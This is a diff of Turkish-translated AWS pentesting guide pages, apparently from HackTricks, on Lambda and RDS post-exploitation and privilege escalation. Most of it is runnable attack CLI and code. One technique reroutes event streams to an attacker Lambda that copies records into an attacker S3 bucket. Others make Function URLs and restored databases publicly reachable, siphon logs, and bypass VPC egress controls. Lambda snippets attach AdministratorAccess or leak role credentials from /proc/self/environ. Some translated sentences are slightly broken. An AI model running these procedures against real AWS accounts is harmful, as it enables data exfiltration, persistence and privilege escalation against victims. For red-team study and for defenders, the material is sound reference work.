Listelenen izinlere sahip bir saldırgan, in-VPC EFS Access Points'lerini hedef Lambda functions'ına mount ederek, o fonksiyonun daha önce erişemediği EFS üzerinde saklanan paylaşılan yapılandırma ve secrets'i okuyup exfiltrate edebilir.
## Temizlik
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```
@@ -0,0 +1,75 @@
# AWS - Event Source Mapping'i Ele Geçirerek Stream/SQS/Kinesis'i Saldırgan Lambda'ya Yönlendirme
{{#include ../../../../banners/hacktricks-training.md}}
Var olan bir Event Source Mapping (ESM) için hedef Lambda fonksiyonunu değiştirmek amacıyla `UpdateEventSourceMapping`'i kötüye kullanın; böylece DynamoDB Streams, Kinesis veya SQS'ten gelen kayıtlar saldırgan kontrolündeki bir fonksiyona iletilir. Bu, üreticilere veya orijinal fonksiyon koduna dokunmadan canlı veriyi sessizce yönlendirir.
## Etki
- Üretici uygulamalarını veya hedef kodu değiştirmeden mevcut akışlardan/kuyruklardan gelen canlı kayıtları yönlendirip okumak.
- Mağdurun trafiğini kötü niyetli bir fonksiyonda işleyerek potansiyel data exfiltration veya mantık tahrifi.
## Gerekli izinler
- `lambda:ListEventSourceMappings`
- `lambda:GetEventSourceMapping`
- `lambda:UpdateEventSourceMapping`
- Saldırgan kontrolündeki bir Lambda'yı dağıtma veya referans verme yeteneği (`lambda:CreateFunction` veya mevcut birini kullanma izni).
## Adımlar
1) Mağdur fonksiyonu için Event Source Mapping'leri enumerate edin
```
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
```
2) attacker-controlled alıcı Lambda'ı hazırlayın (aynı bölge; ideal olarak benzer VPC/runtime)
```
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
```
3) Eşleştirmeyi saldırgan fonksiyona yeniden yönlendir
```
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
```
4) Kaynağa bir event oluşturun, böylece mapping tetiklenir (örnek: SQS)
```
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
```
5) attacker function'ın batch'i alıp almadığını doğrulayın
```
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
```
6) İsteğe bağlı stealth
```
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
```
Notlar:
- SQS ESM'leri için, kuyruğu işleyen Lambda'nın yürütme rolünün `sqs:ReceiveMessage`, `sqs:DeleteMessage` ve `sqs:GetQueueAttributes` izinlerine ihtiyacı vardır (managed policy: `AWSLambdaSQSQueueExecutionRole`).
- ESM UUID aynı kalır; sadece `FunctionArn` değiştirilir, bu yüzden producers ve source ARNs etkilenmez.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,46 @@
# AWS - Lambda Function URL Genel Erişime Açma (AuthType NONE + Public Invoke Policy)
Özel bir Lambda Function URL'ini, Function URL AuthType'ını NONE olarak değiştirip herkese lambda:InvokeFunctionUrl veren bir resource-based policy ekleyerek kimlik doğrulamasız genel bir endpoint'e çevirin. Bu, dahili fonksiyonların anonim çağrılmasına izin verir ve hassas backend işlemlerini ifşa edebilir.
## Abusing it
- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Region: us-east-1
### Steps
1) Function'ın bir Function URL'e sahip olduğundan emin olun (varsayılan olarak AWS_IAM):
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) URL'i herkese açık hale getirin (AuthType NONE):
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) Kimlik doğrulaması olmayan principal'lara izin vermek için resource-based policy ifadesi ekleyin:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) URL'i alın ve kimlik bilgisi olmadan çağırın:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### Impact
- Lambda fonksiyonu internet üzerinden anonim olarak erişilebilir hale gelir.
### Example output (unauthenticated 200)
```
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
```
### Temizlik
```
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
@@ -0,0 +1,51 @@
# AWS Lambda Log Siphon ile LoggingConfig.LogGroup Redirection
{{#include ../../../../banners/hacktricks-training.md}}
Bir fonksiyonun loglarını, saldırganın seçtiği bir CloudWatch Logs log group'a yönlendirmek için `lambda:UpdateFunctionConfiguration` gelişmiş logging kontrollerini kötüye kullanın. Bu, kodu veya execution role'u değiştirmeden çalışır (çoğu Lambda rolü zaten `AWSLambdaBasicExecutionRole` üzerinden `logs:CreateLogGroup/CreateLogStream/PutLogEvents` içerir). Eğer fonksiyon secrets/request bodies yazdırıyorsa veya stack traces ile çöküyorsa, bunları yeni log group'tan toplayabilirsiniz.
## Gerekli izinler
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (veya mevcut tetikleyicilere güvenin)
- `logs:CreateLogGroup` (çoğu zaman fonksiyon rolü bunu içeriyorsa gerekli değildir)
- `logs:FilterLogEvents` (olayları okumak için)
## Adımlar
1) Bir sink log group oluşturun
```
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
```
2) Hedef fonksiyon loglarını yönlendir
```
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
```
`LastUpdateStatus` `Successful` olana kadar bekleyin:
```
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
```
3) sink'i çağırın ve sink'ten okuyun
```
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
```
## Etki
- Gizlice tüm uygulama/sistem loglarını kontrolünüzdeki bir log grubuna yönlendirerek, logların yalnızca `/aws/lambda/<fn>` içine düşeceği beklentisini atlatmak.
- Exfiltrate işlev tarafından yazdırılan veya hatalarda ortaya çıkan hassas verileri.
## Temizlik
```
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
```
## Notlar
- Logging kontrolleri Lambdas `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel) parçasıdır.
- Varsayılan olarak, Lambda logları `/aws/lambda/<function>` konumuna gönderir, ancak herhangi bir log group ismine yönlendirebilirsiniz; Lambda (veya execution role) izin veriyorsa bunu oluşturur.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,12 @@
# AWS Lambda Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
Abuse `lambda:PutRuntimeManagementConfig` ile bir fonksiyonu belirli bir runtime sürümüne (Manual) sabitleyebilir veya güncellemeleri dondurabilirsiniz (FunctionUpdate). Bu, kötü amaçlı layer/wrapper'larla uyumluluğu korur ve fonksiyonu sömürüye ve uzun süreli kalıcılığa yardımcı olacak şekilde eski, zafiyetli bir runtime üzerinde tutabilir.
Gereksinimler: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
Örnek (us-east-1):
- Çağırma: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Güncellemeleri dondurma: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- Doğrula: `aws lambda get-runtime-management-config --function-name --region us-east-1`
İsteğe bağlı olarak, INIT_START logs'tan Runtime Version ARN'ını çıkarıp `--update-runtime-on Manual --runtime-version-arn <arn>` kullanarak belirli bir runtime sürümüne sabitleyebilirsiniz.
@@ -0,0 +1,63 @@
# AWS Lambda VPC Egress Bypass VpcConfig'i Ayırarak
Bir Lambda fonksiyonunu, VpcConfig'ini boş (SubnetIds=[], SecurityGroupIds=[]) olarak güncelleyerek kısıtlı bir VPC'den çıkarmaya zorlayın. Fonksiyon daha sonra Lambda tarafından yönetilen ağ düzleminde çalışacak, çıkış (egress) internet erişimini yeniden kazanacak ve NAT olmayan özel VPC alt ağlarının uyguladığı egress kontrollerini atlayacaktır.
## Kötüye Kullanımı
- Önkoşullar: hedef fonksiyon için lambda:UpdateFunctionConfiguration (ve doğrulama için lambda:InvokeFunction), ayrıca kod/handler'ı değiştiriyorsanız bunları güncelleme izinleri.
- Varsayımlar: Fonksiyon şu anda NAT olmayan özel alt ağlara işaret eden VpcConfig ile yapılandırılmıştır (yani çıkış interneti engellenmiştir).
- Bölge: us-east-1
### Adımlar
0) Çıkış HTTP'sinin çalıştığını kanıtlayan minimal bir handler hazırla
cat > net.py <<'PY'
import urllib.request, json
def lambda_handler(event, context):
try:
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
return {"egress": True, "ip": ip}
except Exception as e:
return {"egress": False, "err": str(e)}
PY
zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) Mevcut VPC konfigürasyonunu kaydet (gerekirse daha sonra geri yüklemek için)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
2) Boş listeler ayarlayarak VPC'yi ayır
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) Fonksiyonu çağır ve çıkış erişimini doğrula
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) Orijinal VPC konfigürasyonunu geri yükle
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi
### Etki
- Fonksiyonun kısıtlanmamış çıkış internet erişimini geri kazanır; bu, NAT olmayan özel alt ağlarda kasıtlı olarak izole edilmiş iş yüklerinden veri sızdırma veya C2 sağlamaya imkan verir.
### Örnek çıktı (VpcConfig'i ayırdıktan sonra)
{"egress": true, "ip": "34.x.x.x"}
### Temizlik
- Geçici kod/handler değişiklikleri yaptıysanız, bunları geri yükleyin.
- İsteğe bağlı olarak yukarıda gösterildiği gibi /tmp/orig-vpc.json içinde kaydedilmiş orijinal VpcConfig'i geri yükleyin.
@@ -4,7 +4,7 @@
## RDS
Daha fazla bilgi için kontrol edin:
Daha fazla bilgi için bakınız:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Eğer saldırganın yeterli izinleri varsa, bir **DB'yi herkese açık hale** getirebilir; bunun için DB'nin bir anlık görüntüsünü oluşturup, ardından bu anlık görüntüden herkese açık bir DB oluşturabilir.
Eğer saldırganın yeterli izinleri varsa, DB'nin bir snapshot'ını oluşturarak ve ardından o snapshot'tan **DB herkese açık** olacak şekilde bir DB oluşturarak DB'yi **herkese açık** hale getirebilir.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Bu izinlere sahip bir saldırgan **bir DB'nin anlık görüntüsünü oluşturabilir** ve bunu **herkese açık** **hale** getirebilir. Ardından, bu anlık görüntüden kendi hesabında bir DB oluşturabilir.
Bu izinlere sahip bir saldırgan **bir DB snapshot'ı oluşturabilir** ve bunu **genel** **erişime açık** hale getirebilir. Ardından, kendi hesabında bu snapshot'tan bir DB oluşturabilir.
Eğer saldırgan **`rds:CreateDBSnapshot`** iznine sahip değilse, yine de **diğer** oluşturulmuş anlık görüntüleri **herkese açık** hale getirebilir.
Eğer saldırganın **`rds:CreateDBSnapshot` izni yoksa**, yine de oluşturulmuş **diğer** snapshot'ları **herkese açık** hale getirebilir.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,30 +53,114 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan, **bir RDS örneğinin günlük dosyalarının kısımlarını indirebilir**. Hassas veriler veya erişim kimlik bilgileri yanlışlıkla kaydedilirse, saldırgan bu bilgileri yetkilerini artırmak veya yetkisiz eylemler gerçekleştirmek için kullanabilir.
`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan **bir RDS örneğinin günlük dosyalarının bölümlerini indirebilir**. Eğer hassas veriler veya erişim kimlik bilgileri yanlışlıkla kaydedilmişse, saldırgan bu bilgileri ayrıcalıklarını yükseltmek veya yetkisiz lemler gerçekleştirmek için potansiyel olarak kullanabilir.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Olası Etki**: Sızdırılmış kimlik bilgileri kullanarak hassas bilgilere erişim veya yetkisiz işlemler.
**Potansiyel Etki**: leaked credentials kullanılarak hassas bilgilere erişim veya yetkisiz işlemler.
### `rds:DeleteDBInstance`
Bu izinlere sahip bir saldırgan **mevcut RDS örneklerine DoS saldırısı** yapabilir.
Bu izinlere sahip bir saldırgan **var olan RDS instance'larına DoS uygulayabilir**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Olası etki**: Mevcut RDS örneklerinin silinmesi ve potansiyel veri kaybı.
**Potansiyel etki**: Mevcut RDS instances'larının silinmesi ve olası veri kaybı.
### `rds:StartExportTask`
> [!NOT]
> TODO: Test
> [!NOTE]
> YAPILACAK: Test
Bu izne sahip bir saldırgan, **bir RDS örneği anlık görüntüsünü bir S3 kovasına dışa aktarabilir**. Saldırgan, hedef S3 kovası üzerinde kontrol sahibi ise, dışa aktarılan anlık görüntüdeki hassas verilere erişebilir.
Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrole sahipse, dışa aktarılmış snapshot içindeki hassas verilere erişebilir.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Olası etki**: Dışa aktarılan anlık görüntüdeki hassas verilere erişim.
**Potential impact**: Aktarılan snapshot içindeki hassas verilere erişim.
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
Abuse cross-Region automated backups replication özelliğini kötüye kullanarak bir RDS instance'ının automated backups'larını başka bir AWS Region'a sessizce çoğaltıp orada restore edebilir. Saldırgan daha sonra restore edilen DB'yi herkese açık hale getirip master password'ü sıfırlayarak, savunucuların takip etmeyebileceği bir Region'da veriye dışarıdan erişim sağlayabilir.
Gerekli izinler (asgari):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Etkisi: Üretim verisinin bir kopyasını başka bir Region'a restore ederek ve saldırganın kontrolündeki kimlik bilgileriyle bunu halka açarak kalıcılık ve veri sızdırma.
<details>
<summary>Uçtan uca CLI (yer tutucuları değiştirin)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table
# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7
# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## lambda
lambda hakkında daha fazla bilgi için:
More info about lambda in:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@ lambda hakkında daha fazla bilgi için:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
**`iam:PassRole`, `lambda:CreateFunction` ve `lambda:InvokeFunction`** izinlerine sahip kullanıcılar, ayrıcalıklarını artırabilir.\
Yeni bir Lambda fonksiyonu **oluşturabilir ve mevcut bir IAM rolünü atayabilirler**, bu da fonksiyona o rolle ilişkili izinleri verir. Kullanıcı daha sonra **bu Lambda fonksiyonuna kod yazabilir ve yükleyebilir (örneğin bir rev shell ile)**.\
Fonksiyon kurulduktan sonra, kullanıcı **çalıştırılmasını tetikleyebilir** ve AWS API'si aracılığıyla Lambda fonksiyonunu çağırarak istenen eylemleri gerçekleştirebilir. Bu yaklaşım, kullanıcının Lambda fonksiyonu aracılığıyla dolaylı olarak görevleri yerine getirmesine olanak tanır ve buna bağlı IAM rolü tarafından verilen erişim seviyesinde çalışır.\\
Bu izinlere sahip kullanıcılar ayrıcalıklarını yükseltebilir: **`iam:PassRole`, `lambda:CreateFunction`, ve `lambda:InvokeFunction`** izinlerine sahip kullanıcılar ayrıcalıklarını yükseltebilir.\
Onlar **yeni bir Lambda function oluşturup mevcut bir IAM role atayabilirler**, bu sayede fonksiyona o role ait izinler verilmiş olur. Kullanıcı daha sonra bu Lambda function'a **kod yazıp yükleyebilir (örneğin bir rev shell ile)**.\
Fonksiyon kurulduktan sonra kullanıcı AWS API aracılığıyla Lambda function'ı çağırarak **çalıştırılmasını tetikleyebilir** ve istenen lemleri gerçekleştirebilir. Bu yöntem, kullanıcının ilişkili IAM role tarafından verilen erişim düzeyiyle Lambda function üzerinden dolaylı olarak işlem yapmasına olanak tanır.\\
Bir saldırgan bunu **rev shell almak ve token'ı çalmak için** kötüye kullanabilir:
Bir saldırgan bunu kötüye kullanarak **rev shell elde edebilir ve token'ı çalabilir**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Lambda fonksiyonunun kendisinden **lambda rol izinlerini kötüye kullanabilirsiniz**.\
Eğer lambda rolü yeterli izinlere sahipse, bunu size yönetici hakları vermek için kullanabilirsiniz:
Ayrıca lambda function'ın kendisinden **abuse the lambda role permissions** yapabilirsiniz.\
Eğer lambda role yeterli izinlere sahipse, bunu kendinize yönetici hakları vermek için kullanabilirsiniz:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Lambda'nın rol kimlik bilgilerini dış bağlantıya ihtiyaç duymadan sızdırmak da mümkündür. Bu, iç görevlerde kullanılan **Ağdan İzole Lambdalar** için faydalı olacaktır. Eğer ters shell'lerinizi filtreleyen bilinmeyen güvenlik grupları varsa, bu kod parçası, lambda'nın çıktısı olarak kimlik bilgilerini doğrudan sızdırmanıza olanak tanıyacaktır.
Harici bir bağlantıya ihtiyaç duymadan lambda'nın role kimlik bilgilerini leak etmek de mümkündür. Bu, dahili görevler için kullanılan **Network isolated Lambdas** için faydalı olacaktır. Eğer bilinmeyen security groups reverse shells'inizi filtreliyorsa, bu kod parçası lambda çıktısı olarak kimlik bilgilerini doğrudan leak etmenize olanak tanır.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potansiyel Etki:** Belirtilen keyfi lambda hizmet rolüne doğrudan privesc.
**Potential Impact:** Belirtilen keyfi lambda service role üzerinde doğrudan privesc.
> [!DİKKAT]
> İlginç görünebilir, ancak **`lambda:InvokeAsync`** kendi başına **`aws lambda invoke-async`** çalıştırmaya izin vermez, ayrıca `lambda:InvokeFunction` iznine de ihtiyacınız var.
> [!CAUTION]
> Şunu unutmayın: ilginç görünse bile **`lambda:InvokeAsync`** tek başına **`aws lambda invoke-async`** komutunu çalıştırmaya izin vermez; ayrıca `lambda:InvokeFunction` gerekir
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Önceki senaryoda olduğu gibi, eğer **`lambda:AddPermission`** iznine sahipseniz, **kendinize `lambda:InvokeFunction`** iznini verebilirsiniz.
Önceki senaryoda olduğu gibi, **kendinize `lambda:InvokeFunction` iznini verebilirsiniz** eğer **`lambda:AddPermission`** iznine sahipseniz.
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potansiyel Etki:** Belirtilen keyfi lambda hizmet rolüne doğrudan privesc.
**Potential Impact:** Belirtilen rastgele lambda servis rolüne doğrudan privesc.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
**`iam:PassRole`, `lambda:CreateFunction` ve `lambda:CreateEventSourceMapping`** izinlerine sahip kullanıcılar (ve potansiyel olarak `dynamodb:PutItem` ve `dynamodb:CreateTable`) dolaylı olarak **yetki yükseltebilirler**; hatta `lambda:InvokeFunction` olmadan bile.\
Kötü niyetli kod içeren bir **Lambda fonksiyonu oluşturabilir ve ona mevcut bir IAM rolü atayabilirler**.
Kullanıcılar **`iam:PassRole`, `lambda:CreateFunction` ve `lambda:CreateEventSourceMapping`** izinlerine (ve muhtemelen `dynamodb:PutItem` ve `dynamodb:CreateTable`) sahip olduklarında, `lambda:InvokeFunction` olmadan bile dolaylı olarak **escalate privileges** gerçekleştirebilirler.\
Kötü amaçlı kod içeren bir **Lambda function** oluşturup mevcut bir IAM rolü atayabilirler.
Kullanıcı, Lambda'yı doğrudan çağırmak yerine, mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu bir olay kaynağı eşlemesi aracılığıyla Lambda ile bağlar. Bu kurulum, Lambda fonksiyonunun tablodaki yeni bir öğe girişi ile **otomatik olarak tetiklenmesini** sağlar; bu, kullanıcının eylemi veya başka bir süreç tarafından gerçekleşebilir ve böylece Lambda fonksiyonunu dolaylı olarak çağırarak kodu geçirilen IAM rolünün izinleriyle çalıştırır.
Lambda'yı doğrudan çağırmak yerine, kullanıcı mevcut bir DynamoDB tablosu oluşturur veya kullanır ve bunu bir event source mapping aracılığıyla Lambda'ya bağlar. Bu yapılandırma, tabloya yeni bir öğe eklendiğinde (kullanıcının kendisi tarafından veya başka bir süreç tarafından) Lambda function'ın otomatik olarak tetiklenmesini sağlar; böylece Lambda dolaylı olarak çağrılır ve geçirilen IAM rolünün izinleriyle kod çalıştırılır.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece **Lambda fonksiyonu için olay kaynağı eşlemesini oluşturması** gerekir. Ancak, eğer DynamoDB kullanılmıyorsa, kullanıcı **streaming etkinleştirilmiş yeni bir tablo oluşturmalıdır:**
Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı yalnızca Lambda fonksiyonu için **event source mapping** oluşturmalıdır. Ancak DynamoDB kullanılmıyorsa, kullanıcı **streaming etkinleştirilmiş yeni bir tablo oluşturmalıdır**:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Artık **Lambda fonksiyonunu DynamoDB tablosuna bağlamak** için **bir olay kaynağı eşlemesi oluşturmak** mümkündür:
Artık **Lambda fonksiyonunu DynamoDB tablosuna bağlamak** için **event source mapping oluşturarak**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
DynamoDB akışına bağlı Lambda fonksiyonu ile, saldırgan **DynamoDB akışını etkinleştirerek Lambda'yı dolaylı olarak tetikleyebilir**. Bu, **DynamoDB tablosuna bir öğe ekleyerek** gerçekleştirilebilir:
Lambda fonksiyonu DynamoDB stream'e bağlı olduğunda, saldırgan **DynamoDB stream'i etkinleştirerek Lambda'yı dolaylı olarak tetikleyebilir**. Bu, DynamoDB tablosuna **bir öğe ekleyerek** gerçekleştirilebilir:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Olası Etki:** Belirtilen lambda hizmet rolüne doğrudan yetki yükseltme.
**Potential Impact:** Belirtilen lambda servis rolüne doğrudan privesc.
### `lambda:AddPermission`
